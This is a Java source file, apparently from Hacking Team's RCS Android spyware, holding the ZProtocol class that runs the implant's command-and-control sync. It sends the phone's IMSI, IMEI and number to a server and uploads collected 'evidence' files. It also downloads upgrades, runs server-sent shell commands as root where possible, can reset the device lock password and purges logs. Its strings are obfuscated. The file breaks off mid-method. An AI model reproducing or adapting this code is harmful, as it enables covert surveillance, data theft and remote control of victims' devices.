/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : ZProtocol.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.action.sync; import android.app.admin.DevicePolicyManager; import android.content.ComponentName; import android.content.Context; import com.android.dvci.Core; import com.android.dvci.Device; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.crypto.CryptoException; import com.android.dvci.crypto.EncryptionPKCS5; import com.android.dvci.crypto.Keys; import com.android.dvci.crypto.SHA1Digest; import com.android.dvci.evidence.EvidenceCollector; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Directory; import com.android.dvci.file.Path; import com.android.dvci.listener.AR; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DataBuffer; import com.android.dvci.util.Execute; import com.android.dvci.util.ExecuteResult; import com.android.dvci.util.Utils; import com.android.dvci.util.WChar; import com.android.mm.M; import java.io.IOException; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.util.Date; import java.util.Vector; import static com.android.dvci.capabilities.PackageInfo.checkRoot; /** * The Class ZProtocol. */ public class ZProtocol extends Protocol { /** * The debug. */ private static final String TAG = "ZProtocol"; //$NON-NLS-1$ /** * The Constant SHA1LEN. */ private static final int SHA1LEN = 20; /** * The crypto k. */ private final EncryptionPKCS5 cryptoK = new EncryptionPKCS5(); /** * The crypto conf. */ private final EncryptionPKCS5 cryptoConf = new EncryptionPKCS5(); /** * The Kd. */ byte[] Kd = new byte[16]; /** * The Nonce. */ byte[] Nonce = new byte[16]; /** * The upgrade files. */ Vector<String> upgradeFiles = new Vector<String>(); /** * Instantiates a new z protocol. */ public ZProtocol() { try { // 6_1=SHA1PRNG random = SecureRandom.getInstance(M.e("SHA1PRNG")); //$NON-NLS-1$ } catch (final NoSuchAlgorithmException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error (ZProtocol): " + e); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(e); } } } /** * The random. */ SecureRandom random; /* * (non-Javadoc) * * @see com.ht.AndroidServiceGUI.action.sync.Protocol#perform() */ @Override public boolean perform() { if (Cfg.DEBUG) { Check.requires(transport != null, "perform: transport = null"); //$NON-NLS-1$ } try { transport.start(); status.uninstall = authentication(); if (status.uninstall) { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + "Uninstall detected, no need to continue"); //$NON-NLS-1$ //$NON-NLS-2$ } return true; } final boolean[] capabilities = identification(); if (Status.self().wantsReload()) { if (Cfg.DEBUG) { Check.log(TAG + " (perform) reloading conf"); } Core.self().reloadConf(); } else { checkRoot(); } purge(capabilities[Proto.PURGE]); newConf(capabilities[Proto.NEW_CONF]); download(capabilities[Proto.DOWNLOAD]); upload(capabilities[Proto.UPLOAD]); upgrade(capabilities[Proto.UPGRADE]); filesystem(capabilities[Proto.FILESYSTEM]); execute(capabilities[Proto.EXEC]); evidences(); end(); return true; } catch (final TransportException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString()); //$NON-NLS-1$ } return false; } catch (final ProtocolException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString()); //$NON-NLS-1$ } return false; } catch (final CommandException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString()); //$NON-NLS-1$ } return false; } finally { transport.close(); } } /** * Authentication. * * @return true if uninstall * @throws TransportException the transport exception * @throws ProtocolException the protocol exception */ private boolean authentication() throws TransportException, ProtocolException { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** Authentication ***** "); //$NON-NLS-1$ } // key init try { cryptoConf.init(Keys.self().getChallengeKey()); random.nextBytes(Kd); random.nextBytes(Nonce); final byte[] cypherOut = cryptoConf.encryptData(forgeAuthentication()); if (Cfg.DEBUG) { Check.asserts(cypherOut.length % 16 == 0, " (authentication) Assert failed, not multiple of 16: " + cypherOut.length); } final byte[] response = transport.command(cypherOut); return parseAuthentication(response); } catch (CryptoException e) { if (Cfg.DEBUG) { Check.log(TAG + " (authentication) Error: " + e); } return false; } } /** * Identification. * * @return the boolean[] * @throws TransportException the transport exception * @throws ProtocolException the protocol exception */ private boolean[] identification() throws TransportException, ProtocolException { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** Identification *****"); //$NON-NLS-1$ } final byte[] response = command(Proto.ID, forgeIdentification()); final boolean[] capabilities = parseIdentification(response); return capabilities; } private void purge(final boolean cap) throws TransportException, ProtocolException { if (cap) { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** PURGE *****"); //$NON-NLS-1$ } final byte[] response = command(Proto.PURGE); parsePurge(response); } } /** * New conf. * * @param cap the cap * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void newConf(final boolean cap) throws TransportException, ProtocolException, CommandException { if (cap) { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** NewConf *****"); //$NON-NLS-1$ } final byte[] response = command(Proto.NEW_CONF); int ret = parseNewConf(response); byte[] data; if (ret != Proto.NO) { if (ret == Proto.OK) { data = ByteArray.intToByteArray(Proto.OK); } else { data = ByteArray.intToByteArray(Proto.NO); } if (Cfg.DEBUG) { Check.log(TAG + " (newConf): sending conf answer: " + ret); } command(Proto.NEW_CONF, data); } else { if (Cfg.DEBUG) { Check.log(TAG + " (newConf): no conf, no need to write another message"); } } } } /** * Download. * * @param cap the cap * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void download(final boolean cap) throws TransportException, ProtocolException, CommandException { if (cap) { final byte[] response = command(Proto.DOWNLOAD); parseDownload(response); } } /** * Upload. * * @param cap the cap * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void upload(final boolean cap) throws TransportException, ProtocolException, CommandException { if (cap) { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** Upload *****"); //$NON-NLS-1$ } boolean left = true; while (left) { final byte[] response = command(Proto.UPLOAD); left = parseUpload(response); } } } /** * Upgrade. * * @param cap the cap * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void upgrade(final boolean cap) throws TransportException, ProtocolException, CommandException { if (cap) { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** Upgrade *****"); //$NON-NLS-1$ } upgradeFiles.removeAllElements(); boolean left = true; try { while (left) { final byte[] response = command(Proto.UPGRADE, WChar.pascalize(Cfg.OSVERSION)); left = parseUpgrade(response); } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (upgrade) Error: " + ex); } } } } /** * Filesystem. * * @param cap the cap * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void filesystem(final boolean cap) throws TransportException, ProtocolException, CommandException { if (cap) { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** FileSystem *****"); //$NON-NLS-1$ } final byte[] response = command(Proto.FILESYSTEM); parseFileSystem(response); } } private void execute(boolean cap) throws TransportException, ProtocolException { if (cap) { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** Execute *****"); //$NON-NLS-1$ } final byte[] response = command(Proto.EXEC); parseExecute(response); } } /** * Evidences. * * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void evidences() throws TransportException, ProtocolException, CommandException { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** Log *****"); //$NON-NLS-1$ } sendEvidences(Path.logs()); } /** * End. * * @throws TransportException the transport exception * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ private void end() throws TransportException, ProtocolException, CommandException { if (Cfg.DEBUG) { Check.log(TAG + " Info: ***** END *****"); //$NON-NLS-1$ } final byte[] response = command(Proto.BYE); parseEnd(response); } // **************** PROTOCOL **************** // /** * Forge authentication. * * @return the byte[] */ protected byte[] forgeAuthentication() { final Keys keys = Keys.self(); /* * byte[] randBlock = new byte[]{}; if(Cfg.PROTOCOL_RANDBLOCK){ // * variabilita' di 5 blocchi pkcs5 da 16 randBlock = * Utils.getRandomByteArray(0, 63+8); } * * final byte[] data = new byte[104 + randBlock.length]; */ final byte[] data = new byte[104]; final DataBuffer dataBuffer = new DataBuffer(data, 0, data.length); // filling structure dataBuffer.write(Kd); dataBuffer.write(Nonce); if (Cfg.DEBUG) { Check.ensures(dataBuffer.getPosition() == 32, "forgeAuthentication 1, wrong array size"); //$NON-NLS-1$ } dataBuffer.write(ByteArray.padByteArray(keys.getBuildId(), 16)); dataBuffer.write(keys.getInstanceId()); dataBuffer.write(ByteArray.padByteArray(Keys.getSubtype(), 16)); if (Cfg.DEBUG) { Check.ensures(dataBuffer.getPosition() == 84, "forgeAuthentication 2, wrong array size"); //$NON-NLS-1$ } // dataBuffer.write(randBlock); // calculating digest final SHA1Digest digest = new SHA1Digest(); digest.update(ByteArray.padByteArray(keys.getBuildId(), 16)); digest.update(keys.getInstanceId()); digest.update(ByteArray.padByteArray(Keys.getSubtype(), 16)); digest.update(keys.getConfKey()); // digest.update(randBlock); final byte[] sha1 = digest.getDigest(); // appending digest dataBuffer.write(sha1); if (Cfg.DEBUG) { Check.ensures(dataBuffer.getPosition() == data.length, "forgeAuthentication 3, wrong array size"); //$NON-NLS-1$ } return data; } /** * Parses the authentication. * * @param authResult the auth result * @return true if uninstall * @throws ProtocolException the protocol exception */ protected boolean parseAuthentication(final byte[] authResult) throws ProtocolException { if (authResult == null) { if (Cfg.DEBUG) { Check.log(TAG + " Error: null result"); //$NON-NLS-1$ } throw new ProtocolException(100); } if (new String(authResult).contains(M.e("<html>"))) { //$NON-NLS-1$ if (Cfg.DEBUG) { Check.log(TAG + " Error: Fake answer"); //$NON-NLS-1$ } throw new ProtocolException(14); } if (Cfg.DEBUG) { Check.ensures(authResult.length == 64, "authResult.length=" + authResult.length); //$NON-NLS-1$ } // Retrieve K final byte[] cypherKs = new byte[32]; System.arraycopy(authResult, 0, cypherKs, 0, cypherKs.length); try { final byte[] Ks = cryptoConf.decryptData(cypherKs); // PBKDF1 (SHA1, c=1, Salt=KS||Kd) final SHA1Digest digest = new SHA1Digest(); digest.update(Keys.self().getConfKey()); digest.update(Ks); digest.update(Kd); final byte[] K = new byte[16]; System.arraycopy(digest.getDigest(), 0, K, 0, K.length); cryptoK.init(K); // Retrieve Nonce and Cap final byte[] cypherNonceCap = new byte[32]; System.arraycopy(authResult, 32, cypherNonceCap, 0, cypherNonceCap.length); final byte[] plainNonceCap = cryptoK.decryptData(cypherNonceCap); final boolean nonceOK = ByteArray.equals(Nonce, 0, plainNonceCap, 0, Nonce.length); if (nonceOK) { final int cap = ByteArray.byteArrayToInt(plainNonceCap, 16); if (cap == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " decodeAuth Proto OK"); //$NON-NLS-1$ } } else if (cap == Proto.UNINSTALL) { if (Cfg.DEBUG) { Check.log(TAG + " decodeAuth Proto Uninstall"); //$NON-NLS-1$ } return true; } else { if (Cfg.DEBUG) { Check.log(TAG + " decodeAuth error: " + cap); //$NON-NLS-1$ } throw new ProtocolException(11); } } else { throw new ProtocolException(12); } } catch (final CryptoException ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " Error: parseAuthentication: " + ex); //$NON-NLS-1$ } throw new ProtocolException(13); } return false; } /** * Forge identification. * * @return the byte[] */ protected byte[] forgeIdentification() { final Device device = Device.self(); final byte[] userid = WChar.pascalize(device.getImsi()); final byte[] deviceid = WChar.pascalize(device.getImei()); // Non abbiamo quasi mai il numero, inviamo una stringa vuota // cosi appare l'ip final byte[] phone = WChar.pascalize(device.getPhoneNumber()); final int len = 4 + userid.length + deviceid.length + phone.length; final byte[] content = new byte[len]; final DataBuffer dataBuffer = new DataBuffer(content, 0, content.length); // dataBuffer.writeInt(Proto.ID); dataBuffer.write(device.getVersion()); dataBuffer.write(userid); dataBuffer.write(deviceid); dataBuffer.write(phone); if (Cfg.DEBUG) { Check.ensures(dataBuffer.getPosition() == content.length, "forgeIdentification pos: " + dataBuffer.getPosition()); //$NON-NLS-1$ } return content; } /** * Parses the identification. * * @param result the result * @return the boolean[] * @throws ProtocolException the protocol exception */ protected boolean[] parseIdentification(final byte[] result) throws ProtocolException { final boolean[] capabilities = new boolean[Proto.LASTTYPE]; final int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " Info: got Identification"); //$NON-NLS-1$ } final DataBuffer dataBuffer = new DataBuffer(result, 4, result.length - 4); try { // la totSize e' discutibile final int totSize = dataBuffer.readInt(); final long dateServer = dataBuffer.readLong(); if (Cfg.DEBUG) { Check.log(TAG + " parseIdentification: " + dateServer); //$NON-NLS-1$ } final Date date = new Date(); final int drift = (int) (dateServer - (date.getTime() / 1000)); if (Cfg.DEBUG) { Check.log(TAG + " parseIdentification drift: " + drift); //$NON-NLS-1$ } Status.self().drift = drift; final int numElem = dataBuffer.readInt(); for (int i = 0; i < numElem; i++) { final int cap = dataBuffer.readInt(); if (cap < Proto.LASTTYPE) { capabilities[cap] = true; if (Cfg.DEBUG) { Check.log(TAG + " capabilities: " + capabilities[i]); //$NON-NLS-1$ } } } } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString()); //$NON-NLS-1$ } throw new ProtocolException(); } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " Info: no new conf: "); //$NON-NLS-1$ } } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseNewConf: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } return capabilities; } protected void parsePurge(byte[] result) throws ProtocolException { int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { final int len = ByteArray.byteArrayToInt(result, 4); if (len >= 12) { long time = ByteArray.byteArrayToLong(result, 8); int size = ByteArray.byteArrayToInt(result, 16); Date date = null; if (time > 0) { date = new Date(time * 1000L); } if (Cfg.DEBUG) { Check.log(TAG + " (parsePurge): date: " + date + " size: " + size); } purgeEvidences(Path.logs(), date, size); } } } /** * Parses the new conf. * * @param result the result * @return false if error loading new conf, true if no conf or conf read * correct * @throws ProtocolException the protocol exception * @throws CommandException the command exception */ protected int parseNewConf(final byte[] result) throws ProtocolException, CommandException { final int res = ByteArray.byteArrayToInt(result, 0); boolean ret = false; if (res == Proto.OK) { final int confLen = ByteArray.byteArrayToInt(result, 4); if (confLen > 0) { if (Cfg.DEBUG) { Check.log(TAG + " Info: got NewConf"); //$NON-NLS-1$ } ret = Protocol.saveNewConf(result, 0); if (ret) { if (Cfg.DEBUG) { Check.log(TAG + " (parseNewConf): RELOADING"); //$NON-NLS-1$ } // status.reload = true; ret = Core.self().reloadConf(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (parseNewConf): ERROR RELOADING"); //$NON-NLS-1$ } } } else { if (Cfg.DEBUG) { Check.log(TAG + " Error (parseNewConf): empty conf"); //$NON-NLS-1$ } } if (ret) { return Proto.OK; } else { return Proto.ERROR; } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " Info: no new conf: "); //$NON-NLS-1$ } return Proto.NO; } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseNewConf: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } /** * Parses the download. * * @param result the result * @throws ProtocolException the protocol exception */ protected void parseDownload(final byte[] result) throws ProtocolException { final int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " parseDownload, OK"); //$NON-NLS-1$ } final DataBuffer dataBuffer = new DataBuffer(result, 4, result.length - 4); try { // la totSize e' discutibile final int totSize = dataBuffer.readInt(); final int numElem = dataBuffer.readInt(); for (int i = 0; i < numElem; i++) { String file = WChar.readPascal(dataBuffer); if (Cfg.DEBUG) { Check.log(TAG + " parseDownload: " + file); //$NON-NLS-1$ } // expanding $dir$ file = Directory.expandMacro(file); file = Protocol.normalizeFilename(file); // TODO: non caricare intero il file in memoria Protocol.saveDownloadLog(file); } } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e); //$NON-NLS-1$ } throw new ProtocolException(); } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " Info: parseDownload: no download"); //$NON-NLS-1$ } } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseDownload, wrong answer: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } /** * Parses the upload. * * @param result the result * @return true if left>0 * @throws ProtocolException the protocol exception */ protected boolean parseUpload(final byte[] result) throws ProtocolException { final int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " parseUpload, OK"); //$NON-NLS-1$ } final DataBuffer dataBuffer = new DataBuffer(result, 4, result.length - 4); try { final int totSize = dataBuffer.readInt(); final int left = dataBuffer.readInt(); if (Cfg.DEBUG) { Check.log(TAG + " parseUpload left: " + left); //$NON-NLS-1$ } final String filename = WChar.readPascal(dataBuffer); if (Cfg.DEBUG) { Check.log(TAG + " parseUpload: " + filename); //$NON-NLS-1$ } final int size = dataBuffer.readInt(); final byte[] content = new byte[size]; dataBuffer.read(content); if (Cfg.DEBUG) { Check.log(TAG + " parseUpload: saving"); //$NON-NLS-1$ } Protocol.saveUpload(filename, content); if (filename.equals(Protocol.UPGRADE_FILENAME)) { final Vector<String> vector = new Vector<String>(); vector.add(filename); Protocol.upgradeMulti(vector); } return left > 0; } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString()); //$NON-NLS-1$ } throw new ProtocolException(); } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " parseUpload, NO"); //$NON-NLS-1$ } return false; } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseUpload, wrong answer: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } /** * Parses the upgrade. * * @param result the result * @return true, if successful * @throws ProtocolException the protocol exception */ protected boolean parseUpgrade(final byte[] result) throws ProtocolException { final int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " parseUpgrade, OK"); //$NON-NLS-1$ } final DataBuffer dataBuffer = new DataBuffer(result, 4, result.length - 4); try { final int totSize = dataBuffer.readInt(); final int left = dataBuffer.readInt(); if (Cfg.DEBUG) { Check.log(TAG + " parseUpgrade left: " + left); //$NON-NLS-1$ } final String filename = WChar.readPascal(dataBuffer); if (Cfg.DEBUG) { Check.log(TAG + " parseUpgrade: " + filename); //$NON-NLS-1$ } final int size = dataBuffer.readInt(); final byte[] content = new byte[size]; dataBuffer.read(content); if (Cfg.DEBUG) { Check.log(TAG + " parseUpgrade: saving %s/%s", Path.uploads(), filename); //$NON-NLS-1$ } Protocol.saveUpload(filename, content); upgradeFiles.addElement(filename); if (left == 0) { if (Cfg.DEBUG) { Check.log(TAG + " parseUpgrade: all file saved, proceed with upgrade"); //$NON-NLS-1$ } Protocol.upgradeMulti(upgradeFiles); } return left > 0; } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: " + e.toString()); //$NON-NLS-1$ } throw new ProtocolException(); } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " parseUpload, NO"); //$NON-NLS-1$ } return false; } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseUpload, wrong answer: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } /** * Parses the file system. * * @param result the result * @throws ProtocolException the protocol exception */ protected void parseFileSystem(final byte[] result) throws ProtocolException { final int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " parseFileSystem, OK"); //$NON-NLS-1$ } final DataBuffer dataBuffer = new DataBuffer(result, 4, result.length - 4); try { final int totSize = dataBuffer.readInt(); final int numElem = dataBuffer.readInt(); for (int i = 0; i < numElem; i++) { final int depth = dataBuffer.readInt(); String file = WChar.readPascal(dataBuffer); if (Cfg.DEBUG) { Check.log(TAG + " parseFileSystem: " + file + " depth: " + depth); //$NON-NLS-1$ //$NON-NLS-2$ } // expanding $dir$ file = Directory.expandMacro(file); Protocol.saveFilesystem(depth, file); } } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: parse error: " + e); //$NON-NLS-1$ } throw new ProtocolException(); } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " Info: parseFileSystem: no download"); //$NON-NLS-1$ } } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseFileSystem, wrong answer: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } private ExecuteResult resetPassword() { boolean ret = false; ExecuteResult res = new ExecuteResult(M.e("RESET_PASSWORD")); ComponentName devAdminReceiver = new ComponentName(Status.getAppContext(), AR.class); DevicePolicyManager dpm = (DevicePolicyManager) Status.getAppContext().getSystemService( Context.DEVICE_POLICY_SERVICE); if (dpm.isAdminActive(devAdminReceiver)) { if (Cfg.DEBUG) { Check.log(TAG + " (removeAdmin) remove password"); } if (Cfg.DEBUG) { ret = dpm.resetPassword("", 0); } } res.stdout.add((ret ? "OK RESET" : "NO RESET")); return res; } protected void parseExecute(byte[] response) throws ProtocolException { final int res = ByteArray.byteArrayToInt(response, 0); if (res == Proto.OK) { if (Cfg.DEBUG) { Check.log(TAG + " parseExecute, OK"); //$NON-NLS-1$ } final DataBuffer dataBuffer = new DataBuffer(response, 4, response.length - 4); try { final int totSize = dataBuffer.readInt(); final int numCommand = dataBuffer.readInt(); for (int i = 0; i < numCommand; i++) { String executionLine = WChar.readPascal(dataBuffer); executionLine = Directory.expandMacro(executionLine); ExecuteResult ret; if (executionLine.equals(M.e("RESET_PASSWORD"))) { ret = resetPassword(); ret.saveEvidence(); } else if (executionLine.equals(M.e("DEMO_SILENT"))) { Cfg.DEMO_SILENT = true; } else { if (Status.self().haveRoot()) { ret = Execute.executeRoot(executionLine); } else { ret = Execute.execute(executionLine); } ret.saveEvidence(); } } } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: parse error: " + e); //$NON-NLS-1$ } throw new ProtocolException(); } } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " Info: parseFileSystem: no download"); //$NON-NLS-1$ } } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: parseFileSystem, wrong answer: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } protected void purgeEvidences(final String basePath, Date date, int size) { if (Cfg.DEBUG) { Check.log(TAG + " Info: purgeEvidences from: " + basePath); //$NON-NLS-1$ } final EvidenceCollector logCollector = EvidenceCollector.self(); final Vector dirs = logCollector.scanForDirLogs(basePath); final int dsize = dirs.size(); if (Cfg.DEBUG) { Check.log(TAG + " purgeEvidences #directories: " + dsize); //$NON-NLS-1$ } for (int i = 0; i < dsize; ++i) { final String dir = (String) dirs.elementAt(i); // per reverse: // dsize-i-1 final String[] logs = logCollector.scanForEvidences(basePath, dir); final int lsize = logs.length; if (Cfg.DEBUG) { Check.log(TAG + " dir: " + dir + " #evidences: " + lsize); //$NON-NLS-1$ //$NON-NLS-2$ } for (final String logName : logs) { final String fullLogName = basePath + dir + logName; final AutoFile file = new AutoFile(fullLogName); if (file.exists()) { if (size > 0 && file.getSize() > size) { if (Cfg.DEBUG) { Check.log(TAG + " (purgeEvidences): removing due size: " + EvidenceCollector.decryptName(logName)); } file.delete(); } else if (date != null && file.lastModified() < date.getTime()) { if (Cfg.DEBUG) { Check.log(TAG + " (purgeEvidences): removing due date: " + EvidenceCollector.decryptName(logName)); } file.delete(); } } } } } /** * Send evidences. * * @param basePath the base path * @throws TransportException the transport exception * @throws ProtocolException the protocol exception */ protected void sendEvidences(final String basePath) throws TransportException, ProtocolException { if (Cfg.DEBUG) { Check.log(TAG + " Info: sendEvidences from: " + basePath); //$NON-NLS-1$ } final EvidenceCollector logCollector = EvidenceCollector.self(); final Vector dirs = logCollector.scanForDirLogs(basePath); final int dsize = dirs.size(); if (Cfg.DEBUG) { Check.log(TAG + " sendEvidences #directories: " + dsize); //$NON-NLS-1$ } for (int i = 0; i < dsize; ++i) { final String dir = (String) dirs.elementAt(i); // per reverse: // dsize-i-1 final String[] logs = logCollector.scanForEvidences(basePath, dir); final int lsize = logs.length; if (Cfg.DEBUG) { Check.log(TAG + " dir: " + dir + " #evidences: " + lsize); //$NON-NLS-1$ //$NON-NLS-2$ } final byte[] evidenceSize = new byte[12]; System.arraycopy(ByteArray.intToByteArray(lsize), 0, evidenceSize, 0, 4); byte[] response = command(Proto.EVIDENCE_SIZE, evidenceSize); // Andrebbe checkato il response di questo comando checkOk(response); response = null; // for (int j = 0; j < lsize; ++j) { // final String logName = (String) logs.elementAt(j); for (final String logName : logs) { final String fullLogName = basePath + dir + logName; final AutoFile file = new AutoFile(fullLogName); if (!file.exists()) { if (Cfg.DEBUG) { Check.log(TAG + " Error: File doesn't exist: " + fullLogName); //$NON-NLS-1$ } continue; } if (file.getSize() > Cfg.PROTOCOL_CHUNK) { sendResumeEvidence(file); } else { sendEvidence(file); } } if (!Path.removeDirectory(basePath + dir)) { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + "Not empty directory"); //$NON-NLS-1$ //$NON-NLS-2$ } } } } private boolean sendEvidence(AutoFile file) throws TransportException, ProtocolException { final byte[] content = file.read(); if (content == null) { if (Cfg.DEBUG) { Check.log(TAG + " Error: File is empty: " + file); //$NON-NLS-1$ } return true; } if (Cfg.DEBUG) { Check.log(TAG + " Info: Sending file: " + EvidenceCollector.decryptName(file.getName()) + " size: " + file.getSize() + " date: " + file.getFileTime()); //$NON-NLS-1$ } final byte[] plainOut = new byte[content.length + 4]; System.arraycopy(ByteArray.intToByteArray(content.length), 0, plainOut, 0, 4); System.arraycopy(content, 0, plainOut, 4, content.length); byte[] response = command(Proto.EVIDENCE, plainOut); final boolean ret = parseLog(response); if (ret) { EvidenceCollector.self().remove(file.getFilename()); return true; } else { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + "error sending file, bailing out"); //$NON-NLS-1$ //$NON-NLS-2$ } return false; } } private boolean sendResumeEvidence(AutoFile file) throws TransportException, ProtocolException { int chunk = Cfg.PROTOCOL_CHUNK; int size = (int) file.getSize(); final byte[] requestBase = new byte[5 * 4]; byte[] evid = SHA1Digest.get(file.getFilename().getBytes()); writeBuf(requestBase, 0, evid, 0, 4); writeBuf(requestBase, 12, size); byte[] response = command(Proto.EVIDENCE_CHUNK, requestBase); int base = parseLogOffset(response); boolean full = false; if (Cfg.DEBUG) { Check.log(TAG + " Info: Sending file: " + EvidenceCollector.decryptName(file.getName()) + " size: " + file.getSize() + " date: " + file.getFileTime()); //$NON-NLS-1$ } long timestamp = Utils.getTimeStamp(); while (base < size) { if (Cfg.DEBUG) { Check.log(TAG + " (sendResumeEvidence), base: %s/%s block: %s", base, size, chunk); } byte[] content = file.read(base, chunk); if (content.length < chunk) { if (Cfg.DEBUG) { Check.log(TAG + " (sendResumeEvidence), smaller read: " + content.length); } } byte[] plainOut = new byte[content.length + 16]; writeBuf(plainOut, 0, evid, 0, 4); writeBuf(plainOut, 4, base); writeBuf(plainOut, 8, content.length); writeBuf(plainOut, 12, size); writeBuf(plainOut, 16, content); response = command(Proto.EVIDENCE_CHUNK, plainOut); base = parseLogOffset(response); if (Cfg.DEBUG) { Check.log(TAG + " (sendResumeEvidence), base returned: " + base); } if (base == size) { if (Cfg.DEBUG) { Check.log(TAG + " (sendResumeEvidence): full"); } full = true; } if (base <= 0) { if (Cfg.DEBUG) { Check.log(TAG + " (sendSplitEvidence) Error"); } break; } long timelaps = Utils.getTimeStamp(); chunk = adaptChunk(chunk, timestamp, timelaps); timestamp = timelaps; } if (full) { EvidenceCollector.self().remove(file.getFilename()); return true; } else { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + "error sending file, bailing out"); //$NON-NLS-1$ //$NON-NLS-2$ } return false; } } private int adaptChunk(int chunk, long timestamp, long timelaps) { if (timelaps - timestamp > 12000) { if (chunk > 1024) { chunk /= 2; if (Cfg.DEBUG) { Check.log(TAG + " (sendResumeEvidence) time: %s decreasing chunk to: %s", (timelaps - timestamp), chunk); } } } else if (timelaps - timestamp < 4000) { if (chunk < 4 * 1024 * 1024) { chunk *= 2; if (Cfg.DEBUG) { Check.log(TAG + " (sendResumeEvidence) time: %s increasing chunk to: %s", (timelaps - timestamp), chunk); } } } return chunk; } private void writeBuf(byte[] buffer, int pos, byte[] content) { System.arraycopy(content, 0, buffer, pos, content.length); } private void writeBuf(byte[] buffer, int pos, int whatever) { System.arraycopy(ByteArray.intToByteArray(whatever), 0, buffer, pos, 4); } private void writeBuf(byte[] buffer, int pos, byte[] whatever, int offset, int len) { System.arraycopy(whatever, offset, buffer, pos, len); } /** * Parses the log. * * @param result the result * @return true, if successful * @throws ProtocolException the protocol exception */ protected boolean parseLog(final byte[] result) throws ProtocolException { return checkOk(result); } /** * Parses the log. * * @param result the result * @return true, if successful * @throws ProtocolException the protocol exception */ protected int parseLogOffset(final byte[] result) throws ProtocolException { if (checkOk(result)) { if (ByteArray.byteArrayToInt(result, 4) == 4) { return ByteArray.byteArrayToInt(result, 8); } return 0; } return -1; } /** * Parses the end. * * @param result the result * @throws ProtocolException the protocol exception */ protected void parseEnd(final byte[] result) throws 